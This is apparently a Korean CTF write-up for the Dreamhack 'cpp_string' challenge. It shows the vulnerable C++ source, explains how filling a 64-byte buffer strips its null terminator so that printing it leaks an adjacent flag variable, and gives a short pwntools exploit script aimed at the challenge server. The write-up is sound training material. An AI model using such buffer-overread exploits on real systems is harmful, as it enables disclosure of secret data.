본문 바로가기

시스템해킹

[드림핵] cpp_string 풀이

728x90

모든 보호기법이 적용되어있다 

 

 

 

 

문제코드

//g++ -o cpp_string cpp_string.cpp
#include <iostream>
#include <fstream>
#include <csignal>
#include <unistd.h>
#include <stdlib.h>

char readbuffer[64] = {0, };
char flag[64] = {0, };
std::string writebuffer;

void alarm_handler(int trash)
{
    std::cout << "TIME OUT" << std::endl;
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int read_file(){
	std::ifstream is ("test", std::ifstream::binary);
	if(is.is_open()){
        	is.read(readbuffer, sizeof(readbuffer));
		is.close();

		std::cout << "Read complete!" << std::endl;
        	return 0;
	}
	else{
        	std::cout << "No testfile...exiting.." << std::endl;
        	exit(0);
	}
}

int write_file(){
	std::ofstream of ("test", std::ifstream::binary);
	if(of.is_open()){
		std::cout << "Enter file contents : ";
        	std::cin >> writebuffer;
		of.write(writebuffer.c_str(), sizeof(readbuffer));
                of.close();
		std::cout << "Write complete!" << std::endl;
        	return 0;
	}
	else{
		std::cout << "Open error!" << std::endl;
		exit(0);
	}
}

int read_flag(){
        std::ifstream is ("flag", std::ifstream::binary);
        if(is.is_open()){
                is.read(flag, sizeof(readbuffer));
                is.close();
                return 0;
        }
        else{
		std::cout << "You must need flagfile.." << std::endl;
                exit(0);
        }
}

int show_contents(){
	std::cout << "contents : ";
	std::cout << readbuffer << std::endl;
	return 0;
}
	


int main(void) {
    initialize();
    int selector = 0;
    while(1){
    	std::cout << "Simple file system" << std::endl;
    	std::cout << "1. read file" << std::endl;
    	std::cout << "2. write file" << std::endl;
	std::cout << "3. show contents" << std::endl;
    	std::cout << "4. quit" << std::endl;
    	std::cout << "[*] input : ";
	std::cin >> selector;
	
	switch(selector){
		case 1:
			read_flag();
			read_file();
			break;
		case 2:
			write_file();
			break;
		case 3:
			show_contents();
			break;
		case 4:
			std::cout << "BYEBYE" << std::endl;
			exit(0);
	}
    }
}

 

문제코드가 처음보는 cpp코드로 되어있어 매우 어지럽다

 

문제 구조는 매우 간단하다

case1 : flag를 flag 변수에 저장, test파일 열어서 readbuffer 변수에 저장

case2 : test파일을 열어 사용자입력값을 넣는다

case3 : readbuffer의 값을 출력한다

 

사용자 입력을 받는 case 2 시 입력버퍼가 64이기 때문에

readbuffer 메모리 주소 뒤에 flag 변수가 존재한다면

readbuffer의 값을 최대로 채워 null값을 없애준다면

case 3시에 readbuffer를 출력하면 flag까지 얻어올 수 있겠다

 

 

 

디버깅

디버깅으로 전역변수의 위치값을 비교해보려 했는데

cpp 코드의 어셈블리 언어라 알아볼 수가 없다 ;;

그래서 그냥 변수를 print 해보는 방법을 사용했다

 

 

 

main에 bp를 걸고 변수를 찍어봤더니 readbuffer 변수 뒤에 flag 변수가 존재했고

거리는 64바이트이다

readbuffer는 64바이트 값을 가지고 있기 때문에 이 변수 두개는 붙어있다

 

 

 

 

payload

from pwn import *
p = remote('host3.dreamhack.games', 19746)

payload = 'A' * 64

p.recvuntil('[*] input : ')
p.sendline("2")

p.recvuntil('contents : ')
p.sendline("a"*64)

p.recvuntil('[*] input : ')
p.sendline('1')
p.recvuntil('[*] input : ')
p.sendline('3')
print(p.recvuntil('Simple file system'))

p.interactive()

 

payload 자체는 매우 단순하다

 

file에 64만큼의 값을 채워주고

file을 읽은 뒤

출력하여 flag값까지 얻어냈다

 

 

 

 

 

 

 

 

 

풀이 실패 과정

1. cpp 코드라 잘못 이해하여 file을 경유하지 않고

변수로 진행되는 구간으로 잘못 판단했다

 

2. std::endl 은 \n 즉 줄바꿈을 포함한다

이를 모르고 recv 로 값을 받을 때 헷갈렸다

'시스템해킹' 카테고리의 다른 글

[드림핵] angry_darim 풀이  (0) 2024.11.08
[드림핵] mmapped 풀이  (0) 2024.11.03
[드림핵] Cherry 풀이  (1) 2024.09.12
[드림핵] awesome-basics 풀이  (0) 2024.09.12
[드림핵] pwn-library 풀이  (0) 2024.09.12